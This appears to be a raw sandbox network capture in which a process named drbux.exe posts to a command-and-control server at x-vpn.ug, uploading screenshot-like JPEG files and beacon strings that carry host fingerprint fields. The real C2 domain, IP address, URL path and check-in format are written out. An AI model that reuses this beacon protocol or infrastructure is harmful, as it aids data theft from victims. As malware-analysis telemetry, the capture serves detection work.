Jul 19, 2021 18:35:40.210091114 CEST	4157	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:40.210206985 CEST	4160	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:40.291695118 CEST	4160	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:40 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:35:40.293346882 CEST	4163	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:40.293597937 CEST	4166	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:40.294145107 CEST	4168	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:40.294303894 CEST	4171	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:40.294543982 CEST	4174	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:40.294770956 CEST	4177	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:35:40.295077085 CEST	4179	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.2.6	50089	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:58.112845898 CEST	21314	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:58.112938881 CEST	21314	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:58.113174915 CEST	21324	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:58.113297939 CEST	21327	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:58.190839052 CEST	21328	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:58.191076994 CEST	21330	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:58.191328049 CEST	21333	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:58.191409111 CEST	21336	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:58.191695929 CEST	21339	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:58.191948891 CEST	21341	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:58.192231894 CEST	21344	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:58.192647934 CEST	21347	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:36:58.425152063 CEST	21413	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:36:58.478255987 CEST	21414	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:58.643300056 CEST	21511	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.2.6	50090	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:58.633126020 CEST	21510	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:58.740753889 CEST	21512	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.2.6	50091	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:58.933500051 CEST	21512	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----d338b74f750b504e60dd9ff41ae63040 Host: x-vpn.ug Content-Length: 96659 Cache-Control: no-cache
Jul 19, 2021 18:36:58.933608055 CEST	21513	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 33 33 38 62 37 34 66 37 35 30 62 35 30 34 65 36 30 64 64 39 66 66 34 31 61 65 36 33 30 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------d338b74f750b504e60dd9ff41ae63040Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:36:58.933784962 CEST	21523	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:36:58.933919907 CEST	21525	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:36:59.031362057 CEST	21529	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:36:59.031626940 CEST	21531	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:36:59.031889915 CEST	21534	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:36:59.032288074 CEST	21537	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:36:59.033216953 CEST	21540	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:36:59.033265114 CEST	21545	OUT	Data Raw: 29 45 50 98 b4 ea 41 4b 4c 96 14 b4 0a 50 29 88 29 68 a5 14 c9 1c 05 2d 27 6a 51 56 48 e1 4e 1d 69 29 45 34 48 fa 51 49 4b 56 40 e0 69 e0 d3 07 5a 5a a4 4b 25 0d 4e 0d 50 d3 b3 4e e4 b4 49 85 3d 69 a6 04 6e 94 03 8a 70 6a 2c 98 ae d6 c4 46 d7 d0 Data Ascii: )EPAKLP))h-'jQVHNi)E4HQIKV@iZZK%NPNI=inpj,FVGi$g4bv)Q66)M2mP;!ZbE)u6)v1XQ}fjTFhQ]3H3LuGi45CXjo@P<U:gDqL+W,tFwMN
Jul 19, 2021 18:36:59.033339024 CEST	21546	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:36:59.334846973 CEST	21612	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.2.6	50092	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:58.944796085 CEST	21526	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:36:59.040733099 CEST	21552	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:36:59 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.2.6	50093	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:36:59.224708080 CEST	21594	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
